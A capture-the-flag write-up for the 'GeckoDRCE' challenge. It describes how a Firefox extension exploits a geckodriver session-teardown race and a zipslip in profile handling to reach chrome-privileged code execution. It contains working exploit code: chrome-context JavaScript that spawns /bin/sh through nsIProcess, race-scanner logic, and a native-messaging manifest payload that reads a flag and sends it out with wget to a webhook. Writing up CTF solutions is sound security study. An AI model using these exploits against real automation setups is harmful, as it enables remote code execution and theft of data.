---
# System prepended metadata

title: 'GeckoDRCE: Turn a Firefox extension into RCE'

---

# GeckoDRCE: turn a Firefox extension into RCE

This is a writeup for the `web/geckodrce` challenge from TRX CTF.

I did not solve the challenge in time during the CTF. After the solutions discussion started, justraul posted the key idea for one of the intended solutions: keep multiple geckodriver instances alive, kill Firefox in one of them, and race a new session while geckodriver is tearing the old one down.

That message gave me the missing high-level direction. Later, simonedimaria, the challenge author, also posted the two intended author solutions in the Discord thread: one based on geckodriver profile zipslip plus native messaging, and one based on the session teardown race plus `--remote-allow-system-access`.

The code and PoCs below are my implementations and experiments after reading those messages. The main ideas are credited to justraul and simonedimaria; the work here was turning them into reproducible PoCs, checking the edge cases, and documenting where my earlier attempts failed.

In the end I ended up with three exploit implementations:

- `solve_justraul_bidi.py`: justraul-style teardown race, then Firefox WebSocket/BiDi with `"moz:scope":"chrome"`;
- `solve_author2_remote_allow.py`: author #2 style teardown race, then geckodriver `/moz/context` and `/execute/sync`;
- `solve_author1_zipslip_native.py`: author #1 profile zipslip chain, then native messaging.

I also published the PoCs as a [public gist](https://gist.github.com/frevadiscor/62e66ac27a6ab67d2316b9752dab69d3).

The real remote flag was:

```text
TRX{s0_n0w_I_inst4ll_ff_ext3nsi0ns_and_I_get_rce-ed_wtf!?}
```

## TL;DR

The challenge gave us a Firefox WebExtension inside a Selenium-driven Firefox. The interesting boundary was:

```text
extension JS -> localhost geckodriver -> Firefox automation protocol -> chrome-privileged JS -> OS process
```

The main bug was a geckodriver session teardown race: if the extension closes Firefox before Selenium tries to uninstall it, geckodriver can briefly clear its active session while its HTTP server is still reachable. During that window, a second extension can win `POST /session` and start a fresh Firefox with attacker-controlled arguments.

I ended up with three PoCs:

- justraul-style: win the race, request `webSocketUrl:true`, then use Firefox BiDi with `"moz:scope":"chrome"`;
- author #2: win the same race, then keep using geckodriver HTTP with `/moz/context` and `/execute/sync`;
- author #1: win the race with a malicious base64 profile zip, exploit zipslip to write a native messaging manifest, then trigger RCE through `sendNativeMessage()`.

## The challenge

The bot accepts a Firefox extension and installs it as a temporary addon:

```python
def run_webdriver(ext_path: str) -> None:
    opts = Options()
    opts.binary_location = "/usr/bin/firefox"
    opts.add_argument("-headless")
    opts.set_preference("javascript.options.wasm", False)
    opts.set_preference("javascript.options.baselinejit", False)
    opts.set_preference("javascript.options.ion", False)
    opts.set_preference("javascript.options.asmjs", False)

    service = Service(executable_path="/usr/bin/geckodriver")
    driver = webdriver.Firefox(options=opts, service=service)
    try:
        addon_id = driver.install_addon(ext_path, temporary=True)
        time.sleep(60)
        for p in Path("/tmp/").glob("*.xpi"):
            p.unlink(missing_ok=True)
        driver.uninstall_addon(addon_id)
    except Exception:
        pass
    finally:
        driver.quit()
```

The important parts are:

- Firefox runs through Selenium and geckodriver.
- We control a WebExtension.
- The extension stays alive for about 60 seconds.
- At the end the bot uninstalls the extension and quits the driver.

The goal is to execute:

```text
/readflag pls
```

The challenge name is already a pretty loud hint: GeckoDRCE is not really about a browser XSS; it is about abusing geckodriver.

## Threat model and architecture

The initial primitive is only a normal Firefox WebExtension. That matters: extension background scripts are more powerful than web pages, but they are still not Firefox chrome code. They cannot directly use XPCOM to spawn processes, and they cannot directly write arbitrary files.

The stack looks roughly like this:

```text
Selenium client
  -> geckodriver HTTP API
      -> Marionette protocol
          -> Firefox browser session

Firefox Remote Agent / BiDi
  -> WebSocket endpoint exposed by Firefox
      -> browser automation commands
```

geckodriver is the local HTTP server Selenium talks to. It translates WebDriver HTTP requests into Marionette commands. Marionette is Firefox's older automation protocol. WebDriver BiDi is the newer bidirectional automation protocol exposed over WebSocket by Firefox's Remote Agent.

In the normal challenge flow, the extension is supposed to be trapped below the privileged browser boundary:

```text
WebExtension background page
  can make network requests
  can use extension APIs
  cannot execute chrome-privileged JS
  cannot run /bin/sh
```

The exploit is interesting because it turns a browser-controlled local automation service into a privilege bridge. Once we can create our own automation session with the right Firefox arguments, the boundary changes:

```text
attacker extension
  -> geckodriver localhost API
  -> fresh Firefox with --remote-allow-system-access
  -> chrome context
  -> XPCOM / nsIProcess
```

## First observations

A normal Firefox WebExtension does not have direct OS command execution. Even with fairly broad permissions, extension code is not chrome-privileged:

```js
typeof Components
typeof Components.classes
```

does not give us what we need from a normal extension context.

The tempting target is geckodriver's local HTTP API. Selenium talks to geckodriver through a random localhost port, and WebExtensions can make requests to local services when they have the right host permissions.

There is one immediate problem: browser-origin checks.

geckodriver rejects requests with an unexpected `Origin`. Firefox extensions, however, can intercept requests and modify headers with `webRequestBlocking`. In Firefox this is very permissive. In particular, we can strip the `Origin` header before the request leaves the browser:

```js
browser.webRequest.onBeforeSendHeaders.addListener(
  d => ({
    requestHeaders: d.requestHeaders.filter(
      h => h.name.toLowerCase() !== "origin"
    )
  }),
  {urls: ["<all_urls>"]},
  ["blocking", "requestHeaders"]
);
```

That is enough to talk to geckodriver from the extension.

It is not enough to own the browser.

## The session id wall

The first thing I tried was the obvious WebDriver route:

```text
find geckodriver port
-> strip Origin
-> POST /session/<id>/url
-> navigate to about:config or chrome://browser/content/browser.xhtml
-> POST /session/<id>/execute/sync
-> run privileged JS
```

With a known session id, this works. I verified this locally.

The privileged JavaScript looked like this:

```js
let file = Components.classes["@mozilla.org/file/local;1"]
  .createInstance(Components.interfaces.nsIFile);
file.initWithPath("/bin/sh");

let proc = Components.classes["@mozilla.org/process/util;1"]
  .createInstance(Components.interfaces.nsIProcess);
proc.init(file);
proc.run(true, ["-c", "/readflag pls > /tmp/out 2>&1"], 2);
```

The problem was getting the session id.

geckodriver checks the session id before dispatching most commands. If a session already exists:

- `/status` works, but does not leak the session id;
- `POST /session` says a session already exists;
- commands without a session id are rejected;
- commands with a wrong session id are rejected;
- the error does not include the real session id.

So the first big dead end was: local geckodriver access is useful, but not enough. We needed either the current session id, or a way to make geckodriver accept a new session.

I spent time looking in the obvious places:

- Firefox profile files;
- BiDi state files;
- Marionette active port files;
- geckodriver error messages;
- `RemoteAgent.webDriverBiDi.session.id`;
- extension APIs;
- iframe tricks with `moz-extension://` and privileged pages;
- old CSRF and DNS rebinding ideas.

Most of those were dead ends. The BiDi session id is visible from privileged Firefox JS, but reaching that privileged JS already requires a working remote-control path. Circular.

## Useful primitive: closing Firefox from the extension

One simple extension API turned out to matter a lot:

```js
const wins = await browser.windows.getAll();
for (const w of wins) {
  await browser.windows.remove(w.id);
}
```

If the extension closes all browser windows, Firefox exits or becomes unusable from Marionette's point of view.

geckodriver does not instantly notice. It keeps the session object around until it tries to send another command to Marionette.

This detail matters: closing the windows is not what directly frees the geckodriver session. It only puts Firefox/Marionette in a dead or stale state. The actual geckodriver teardown is triggered later, when the bot tries to run another WebDriver command.

In the bot flow, the next command after the 60-second sleep is:

```python
driver.uninstall_addon(addon_id)
```

That delayed `uninstall_addon()` call is what creates the race window. The exact split between Firefox, Marionette, the geckodriver dispatcher, and the HTTP server is easier to see in the source-backed diagram below.

That tiny window is the whole challenge.

This matches justraul's note from the Discord thread: the race window is better if Firefox is already fully closed before the bot tries to uninstall the extension, because geckodriver sees Marionette fail and deletes the session before running the final quit path.

## Why the race exists in geckodriver

The source makes the bug much easier to reason about.

geckodriver has two separate pieces of state that matter here:

- the WebDriver HTTP server, which keeps accepting requests on the local port;
- the dispatcher session slot, which decides whether `POST /session` is allowed.

The "only one active session" check is in the WebDriver dispatcher. If `self.session` is set, a new `POST /session` is rejected with `Session is already started`. If `self.session` is `None`, `POST /session` is allowed.

That part is in `testing/webdriver/src/server.rs`:

```rust
WebDriverCommand::NewSession(_) => Err(WebDriverError::new(
    ErrorStatus::SessionNotCreated,
    "Session is already started",
))
```

[Source: `testing/webdriver/src/server.rs`](https://searchfox.org/firefox-main/source/testing/webdriver/src/server.rs#146-185)

The interesting path starts when a command fails in a way that sets `delete_session`.

In geckodriver's Marionette connection code, a failed write to Marionette, or a failure while decoding the Marionette response, marks the WebDriver error with `delete_session = true`:

```rust
if self.stream.write(data.as_bytes()).is_err() {
    let mut err = WebDriverError::new(
        ErrorStatus::UnknownError,
        "Failed to write request to stream",
    );
    err.delete_session = true;
    return Err(err);
}

match MarionetteConnection::read_resp(&mut self.stream) {
    Ok(resp) => Ok(resp),
    Err(_) => {
        let mut err = WebDriverError::new(
            ErrorStatus::UnknownError,
            "Failed to decode response from marionette",
        );
        err.delete_session = true;
        Err(err)
    }
}
```

[Source: `testing/geckodriver/src/marionette.rs`](https://searchfox.org/firefox-main/source/testing/geckodriver/src/marionette.rs#1410-1442)

That is exactly what happens after the extension closes Firefox. Later, the bot calls `uninstall_addon()`. geckodriver tries to send the addon uninstall command to Marionette, but Marionette is already gone, so the response decode fails and the error asks the dispatcher to tear down the session.

The dispatcher handles that here:

```rust
Err(ref x) if x.delete_session => {
    self.teardown_session(SessionTeardownKind::NotDeleted)
}
```

[Source: `testing/webdriver/src/server.rs`](https://searchfox.org/firefox-main/source/testing/webdriver/src/server.rs#80-110)

For `NotDeleted`, the dispatcher attempts one more internal `DeleteSession` command. But in our case Marionette is already dead, so that attempt fails too. Then geckodriver runs the handler teardown and clears the dispatcher session slot:

```rust
let final_kind = match kind {
    SessionTeardownKind::NotDeleted if self.session.is_some() => {
        let delete_session = WebDriverMessage {
            session_id: Some(self.session.as_ref().unwrap().id.clone()),
            command: WebDriverCommand::DeleteSession,
        };
        match self.handler.handle_command(&self.session, delete_session) {
            Ok(_) => SessionTeardownKind::Deleted,
            Err(_) => SessionTeardownKind::NotDeleted,
        }
    }
    _ => kind,
};
self.handler.teardown_session(final_kind);
self.session = None;
```

[Source: `testing/webdriver/src/server.rs`](https://searchfox.org/firefox-main/source/testing/webdriver/src/server.rs#121-143)

The [HTTP server runs on a separate thread from the dispatcher](https://searchfox.org/firefox-main/source/testing/webdriver/src/server.rs#211-250).

So there is a small but real interval where the old session has been torn down from the dispatcher's point of view, but the local HTTP API is still reachable and the geckodriver process has not exited yet. A queued or freshly arriving `POST /session` can pass the `self.session == None` check and create a new Firefox session.

This is the "different teardown lifecycle" from the Discord explanation. The important nuance is that the browser/Marionette session and the geckodriver HTTP server are not the same thing. Marionette can be dead, the dispatcher can clear its session slot, and the HTTP listener can still accept one more session creation request before the outer Selenium flow finishes killing geckodriver.

The race is easier to see as three lifelines drifting out of sync:

```text
time        Firefox / Marionette        geckodriver dispatcher        geckodriver HTTP server
----        --------------------        ----------------------        -----------------------
t=0         running                     session = old sid             listening on random port

t=0+        extension closes windows    still thinks session alive     still accepting requests
            Marionette is gone

t=60        bot calls uninstall_addon   sends Marionette command       still accepting requests
                                        read/decode fails
                                        error.delete_session = true

teardown    no response                 enters teardown path           still accepting requests
                                        internal DeleteSession fails
                                        handler teardown starts

race                                   session slot becomes None      POST /session can land here
                                                                      and create a new Firefox

after       old Firefox dead            driver.quit path continues     geckodriver may die
            new Firefox survives
```

That middle row is the bug. The HTTP server is still reachable from the extension, but the dispatcher has temporarily forgotten the old active session. `POST /session` is normally blocked by "Session is already started"; during this window, that check no longer protects the browser.

## What we tried before getting a stable race

At first I tried to do everything from a single extension. That was not reliable.

The idea was:

1. current extension starts another `/visit`;
2. the second visit becomes the sacrifice;
3. the first extension scans for the sacrificial geckodriver and wins the race.

The problem is timing. The scanner's own bot also dies after 60 seconds. If it creates the sacrificial visit too late, it is dead when the sacrificial geckodriver reaches `uninstall_addon()`. If it creates it too early, the scan is not in the right phase.

The stable shape is external orchestration:

```text
t=0   upload sacrifice XPI
t=12  upload scanner XPI
t=24  upload scanner XPI
t=36  upload scanner XPI
```

Multiple scanner bots make the race much less sensitive to exact timing.

Another issue was scan overhead. A global `webRequestBlocking` listener during the port scan made scanning slower and less reliable. The final scanner installs the Origin stripper only before the important `POST /session` and WebSocket operations.

The scanner:

- scans high local ports with `GET /status`;
- keeps ports that look like geckodriver;
- continuously sprays `POST /session` on candidates;
- uses both `127.0.0.1` and `localhost`;
- limits in-flight requests per port so it does not stall itself.

More concretely, the scanner has two loops running at the same time.

The first loop sweeps the likely geckodriver port range and probes:

```text
GET http://127.0.0.1:<port>/status
```

Any port returning JSON containing `"ready":` or the usual geckodriver status text becomes a candidate. A closed port is ignored. A candidate that returns `"ready":false` is still useful, because it probably belongs to a geckodriver instance whose current session is still alive; the scanner keeps polling it until the teardown window opens.

The second loop repeatedly sprays the candidate set:

```text
POST http://127.0.0.1:<port>/session
POST http://localhost:<port>/session
```

The `Origin` stripping listener is installed only for this second phase. Keeping it disabled during most of the scan made the port sweep faster in my tests. The scanner also caps concurrent claim attempts per `host:port`, otherwise a few slow sockets can fill the browser's request queue and make the race worse.

## PoC 1: justraul-style teardown race with WebSocket/BiDi

This was the first complete PoC I got working end-to-end.

Files:

```text
build_two_stage_xpis.py
solve_justraul_bidi.py
solve_two_stage.py
```

Run:

```bash
./solve_justraul_bidi.py \
  http://2c9ad1fb4d72.geckodrce.ctf.theromanxpl0.it \
  http://wmdnycju.requestrepo.com \
  --scanner-delays 12,24,36 \
  --sacrifice-timeout 140 \
  --scanner-timeout 160
```

The sacrifice extension is minimal:

```js
(async () => {
  try {
    const wins = await browser.windows.getAll();
    for (const w of wins) {
      try { await browser.windows.remove(w.id); } catch (_) {}
    }
  } catch (_) {}
})();
```

The scanner tries to create a new session with:

```json
{
  "capabilities": {
    "alwaysMatch": {
      "browserName": "firefox",
      "webSocketUrl": true,
      "moz:debuggerAddress": true,
      "moz:firefoxOptions": {
        "binary": "/usr/bin/firefox",
        "args": ["-headless", "--remote-allow-system-access"]
      }
    }
  }
}
```

The important parts are:

- `--remote-allow-system-access`;
- `webSocketUrl:true`.

Originally I tried to continue with classic WebDriver after winning the race:

```text
POST /session/{sid}/moz/context
POST /session/{sid}/url
POST /session/{sid}/execute/sync
```

That works in controlled tests, but it is unstable in the challenge. After the winning `POST /session`, the bot can immediately enter `driver.quit()` and kill geckodriver.

The new Firefox, however, remains alive.

So the stable version uses only one geckodriver response after the race: the session creation response. From there it switches to the Firefox Remote Agent / BiDi WebSocket returned in `webSocketUrl`.

In this environment the reliable WebSocket endpoint was:

```text
ws://127.0.0.1:<port>/session
```

not always the full returned `/session/<sid>` path.

The BiDi sequence:

```text
open ws://127.0.0.1:<port>/session
-> session.new
-> browsingContext.getTree
-> browsingContext.navigate to chrome://browser/content/browser.xhtml
-> script.evaluate with "moz:scope": "chrome"
```

This is the important transition in code form:

```js
const ws = new WebSocket("ws://127.0.0.1:" + port + "/session");

await bidiCmd(ws, 1, "session.new", {capabilities: {}});
const tree = await bidiCmd(ws, 2, "browsingContext.getTree", {});
const ctx = tree.result.contexts[0].context;

await bidiCmd(ws, 3, "browsingContext.navigate", {
  context: ctx,
  url: "chrome://browser/content/browser.xhtml",
  wait: "complete"
});

const expression = `(() => {
  const { classes: Cc, interfaces: Ci } = Components;
  let sh = Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsIFile);
  sh.initWithPath("/bin/sh");
  let proc = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);
  proc.init(sh);
  proc.run(true, ["-c", "/readflag pls > /tmp/geckodrce_flag.txt 2>&1"], 2);
  return true;
})()`;

await bidiCmd(ws, 4, "script.evaluate", {
  expression,
  target: {context: ctx},
  awaitPromise: false,
  "moz:scope": "chrome"
});
```

`bidiCmd()` is just a small request/response helper: send JSON with an `id`, wait for the WebSocket message with the same `id`.

The real PoC reads the flag back and beacons it to the webhook. I kept `proc.run(true, ...)` because `/readflag pls` returns quickly in the challenge. That call is blocking, though: for a slow command, `runAsync` or a detached process would be safer because blocking chrome context can also stall the automation connection you still need for exfiltration.

The final payload executes `/readflag pls`, writes the output to `/tmp`, reads it back with XPCOM streams, and sends it to the webhook.

I first tried `IOUtils.sys.mjs` for reading the file, but it failed to load in that realm. XPCOM streams were boring and worked.

### Relationship with the author's second solution

justraul's Discord message and simonedimaria's second intended solution start from the same bug:

```text
kill Firefox
-> uninstall_addon triggers a different teardown path
-> geckodriver marks the session deleted before the HTTP API fully shuts down
-> race POST /session
-> start Firefox with --remote-allow-system-access
-> reach chrome/system context
-> execute privileged JS
```

But the operational technique after the race is different enough that I keep them as separate PoCs.

justraul's message describes using the randomly opened debugger/WebSocket endpoint and then evaluating with `"moz:scope": "chrome"`. That is the route used by this PoC:

```text
POST /session with webSocketUrl:true
-> connect to the Firefox WebSocket
-> browsingContext.navigate to chrome://browser/content/browser.xhtml
-> script.evaluate with "moz:scope":"chrome"
```

The author's second intended solution keeps using geckodriver HTTP after the claim. That is implemented separately in the next PoC.

## PoC 2: author's second intended solution, geckodriver chrome context

File:

```text
solve_author2_remote_allow.py
```

This shares the same race, but after the fresh session is created it stays on the geckodriver HTTP API:

```text
POST /session
-> POST /session/{sid}/moz/context {"context":"chrome"}
-> POST /session/{sid}/execute/sync
```

The script reuses the same builder and uploader as PoC 1, but sets `GECKODRCE_FORCE_WEBDRIVER=1` before building the scanner XPI. That makes the scanner skip the BiDi/WebSocket path and force the classic WebDriver route.

The chrome-context payload follows the author's shape: import `FileUtils`, spawn `/bin/sh` through `nsIProcess`, then read the output back with `nsIConverterInputStream`:

```js
const { classes: Cc, interfaces: Ci } = Components;
const { FileUtils } = ChromeUtils.importESModule("resource://gre/modules/FileUtils.sys.mjs");

let sh = new FileUtils.File("/bin/sh");
let proc = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);
proc.init(sh);
proc.run(true, ["-c", "/readflag pls > /tmp/geckodrce_flag.txt 2>&1"], 2);

let outFile = new FileUtils.File("/tmp/geckodrce_flag.txt");
let fis = Cc["@mozilla.org/network/file-input-stream;1"].createInstance(Ci.nsIFileInputStream);
fis.init(outFile, 0x01, 0o400, 0);
let cis = Cc["@mozilla.org/intl/converter-input-stream;1"].createInstance(Ci.nsIConverterInputStream);
cis.init(fis, "UTF-8", 0, 0);
let data = "";
let str = {};
while (cis.readString(0xffffffff, str) !== 0) {
  data += str.value;
}
cis.close();
try {
  outFile.remove(false);
} catch (e) {}
return data;
```

Again, `proc.run(true, ...)` is blocking. It was fine here because the command is short and the output is read immediately, but for a more general exploit I would avoid blocking the browser's chrome context and use an asynchronous process pattern instead.

Run:

```bash
./solve_author2_remote_allow.py \
  http://2c9ad1fb4d72.geckodrce.ctf.theromanxpl0.it \
  http://wmdnycju.requestrepo.com \
  --scanner-delays 12,24,36 \
  --sacrifice-timeout 140 \
  --scanner-timeout 160
```

In my tests this path was less stable than the WebSocket/BiDi path, because the original Selenium flow can kill geckodriver almost immediately after the winning `POST /session`.

## PoC 3: author's first intended solution, zipslip to native messaging

File:

```text
solve_author1_zipslip_native.py
```

This one is a different chain and is honestly even funnier.

This part comes from the first intended solution that simonedimaria posted after the CTF. The two key points were:

- geckodriver's base64 profile handling was vulnerable to path traversal during session creation;
- once arbitrary file write is available, Firefox native messaging gives a clean way to turn that write into command execution.

geckodriver accepts a base64-encoded Firefox profile zip in `moz:firefoxOptions.profile` during session creation:

```json
{
  "capabilities": {
    "alwaysMatch": {
      "browserName": "firefox",
      "moz:firefoxOptions": {
        "binary": "/usr/bin/firefox",
        "args": ["-headless"],
        "profile": "<base64 zip>"
      }
    }
  }
}
```

The profile extraction is vulnerable to zipslip-style path traversal. A zip entry such as:

```text
../../../../home/bot/.mozilla/native-messaging-hosts/rce_app.json
```

can escape the generated profile directory and write into the bot user's home directory.

The vulnerable logic is small. geckodriver decodes `moz:firefoxOptions.profile` as base64, creates a temporary profile directory, and unzips the archive into that directory:

```rust
let profile_zip = &*BASE64_STANDARD.decode(profile_base64)?;

let profile = Profile::new(profile_root)?;
unzip_buffer(
    profile_zip,
    profile.temp_dir.as_ref().unwrap().path(),
)?;
```

[Source: `testing/geckodriver/src/capabilities.rs`](https://searchfox.org/firefox-main/source/testing/geckodriver/src/capabilities.rs#546-568)

The extractor then takes each zip entry name, turns it into a `Path`, and joins it with the destination directory:

```rust
let name = file.name();
let rel_path = Path::new(name);
let dest_path = dest_dir.join(rel_path);
```

After that it creates parent directories and writes the file:

```rust
fs::create_dir_all(dir)?;
let dest = fs::File::create(unzip_path)?;
io::copy(&mut file, &mut writer)?;
```

[Source: `testing/geckodriver/src/capabilities.rs`](https://searchfox.org/firefox-main/source/testing/geckodriver/src/capabilities.rs#798-844)

The missing step is path normalization/containment validation. There is no check that the final `dest_path` still lives under the temporary profile directory. So `../../../../home/bot/...` remains a traversal path and `File::create()` follows it.

I verified the primitive in isolation first: create a geckodriver session with a malicious base64 profile zip, then check that this file appears:

```text
/home/bot/.mozilla/native-messaging-hosts/rce_app.json
```

The exact path is environment-specific. In this challenge Firefox/geckodriver ran as the `bot` user, so the native messaging host directory was under `/home/bot`. On a different deployment the same trick would need to target that user's home directory instead.

The next piece is Firefox native messaging.

A native messaging manifest looks like this:

```json
{
  "name": "rce_app",
  "description": "...",
  "path": "/bin/sh",
  "type": "stdio",
  "allowed_extensions": [
    "floridaman@sbrugna.it"
  ]
}
```

The trigger extension must have the matching extension id:

```json
"browser_specific_settings": {
  "gecko": {
    "id": "floridaman@sbrugna.it"
  }
}
```

and the `nativeMessaging` permission.

Then it calls:

```js
browser.runtime.sendNativeMessage("rce_app", {x: 1});
```

The funny part is how Firefox starts the native app:

```text
<path> <native app json file> <extension id>
```

This is visible in Firefox's native messaging implementation. It takes the manifest `path` as the command and passes the manifest path plus the extension id as arguments:

```js
command: command,
arguments: [hostInfo.path, context.extension.id],
```

[Source: `toolkit/components/extensions/NativeMessaging.sys.mjs`](https://searchfox.org/firefox-main/source/toolkit/components/extensions/NativeMessaging.sys.mjs#95-122)

If `path` is a shell, the shell reads the JSON file as a script. That means shell substitutions inside JSON strings can execute.

The generated manifest contains:

```json
"description": "$(/readflag pls>/tmp/nf;b=$(base64 /tmp/nf|tr -d '\\n'|tr '+/' '-_');wget -qO- http://WEBHOOK/native_flag/$b)"
```

The native messaging call itself returns an error because the JSON file is not a valid shell script, but the command substitution has already run by then.

Run:

```bash
./solve_author1_zipslip_native.py \
  http://2c9ad1fb4d72.geckodrce.ctf.theromanxpl0.it \
  http://wmdnycju.requestrepo.com \
  --writer-delays 12,24,36 \
  --trigger-delays 90,110,130
```

This PoC has three extension types:

- `author1_sacrifice.xpi`: closes Firefox to create the geckodriver teardown race;
- `author1_zipslip_writer.xpi`: wins `POST /session` and writes the native messaging manifest with zipslip;
- `author1_native_trigger.xpi`: triggers the native app and causes the shell substitution to exfiltrate the flag.

Local test output confirmed the full chain:

```text
/zipslip-claim ...
GET /native_flag/VFJYe2Zha2VfZmxhZ30K
```

Decoding the path:

```text
VFJYe2Zha2VfZmxhZ30K -> TRX{fake_flag}\n
```

So the zipslip-native chain is also end-to-end working locally.

## Comparing the three PoCs

All three PoCs need a moment where geckodriver will accept a fresh `POST /session`:

```text
close Firefox
-> geckodriver stale session
-> uninstall_addon causes teardown
-> race POST /session
```

The difference is what we do with that fresh session.

PoC 1, justraul-style WebSocket/BiDi:

```text
new session with --remote-allow-system-access + webSocketUrl:true
-> switch to Firefox BiDi
-> chrome context script.evaluate
-> nsIProcess
```

PoC 2, author #2 geckodriver HTTP:

```text
new session with --remote-allow-system-access
-> keep using geckodriver HTTP
-> /moz/context chrome
-> execute/sync
```

PoC 3, author #1 zipslip/native messaging:

```text
new session with malicious base64 profile
-> zipslip arbitrary file write
-> native messaging host manifest
-> trigger native app from extension
-> shell parses JSON and command substitution runs
```

The important practical difference is stability.

After the winning `POST /session`, geckodriver can disappear quickly because the original Selenium flow reaches `driver.quit()`. That makes "keep using geckodriver" a bit fragile. `webSocketUrl:true` lets us move away from geckodriver and talk directly to the spawned Firefox, which survives.

The native messaging path does not need privileged BiDi execution, but it needs the zipslip write to land in the right home directory and a later extension with the matching id to trigger the host.

## Things that did not work or were not enough

Some dead ends were still useful:

- Trying to leak the original session id from `/status` or geckodriver errors: no leak.
- Guessing session ids: not realistic.
- Talking to Marionette directly: active sessions and protocol details made it impractical from extension JavaScript.
- Using BiDi before winning a session: sessionless BiDi is heavily restricted.
- `RemoteAgent.webDriverBiDi.session.id`: interesting, but only accessible from privileged code.
- Extension APIs for direct filesystem writes: not enough.
- Native messaging without planting a host manifest: no registered host.
- A single self-orchestrating XPI: timing was too tight.
- Continuing with classic WebDriver after the race: works in controlled tests, loses often in the real bot lifecycle.

## Credits

The post-CTF Discord discussion was essential for the final direction.

The teardown race with a fresh `--remote-allow-system-access` session came from justraul's message in the `web/geckodrce` solutions thread. simonedimaria confirmed it as one intended solution and then described both author intended chains: the zipslip/native-messaging route and the chrome-context remote-control route.

This article is therefore not claiming the core ideas as an independent solve. It documents my reconstruction, tests, failed paths, and the PoCs I wrote after reading those solution notes.

## Final notes

This challenge is a good example of how dangerous "localhost-only automation APIs" become once browser content can send requests to them and modify headers.

The extension alone is not privileged enough to execute commands. The browser automation stack gives it the missing bridge:

- Firefox lets the extension strip `Origin`;
- geckodriver has fragile session lifecycle behavior;
- geckodriver accepts dangerous profile input;
- Firefox native messaging is powerful once a manifest is planted;
- `--remote-allow-system-access` turns a new Firefox session into chrome-context code execution.

The bug chain is messy, but the final exploit shape is clean:

```text
extension -> localhost geckodriver -> race / arbitrary write -> Firefox privileged surface -> OS command
```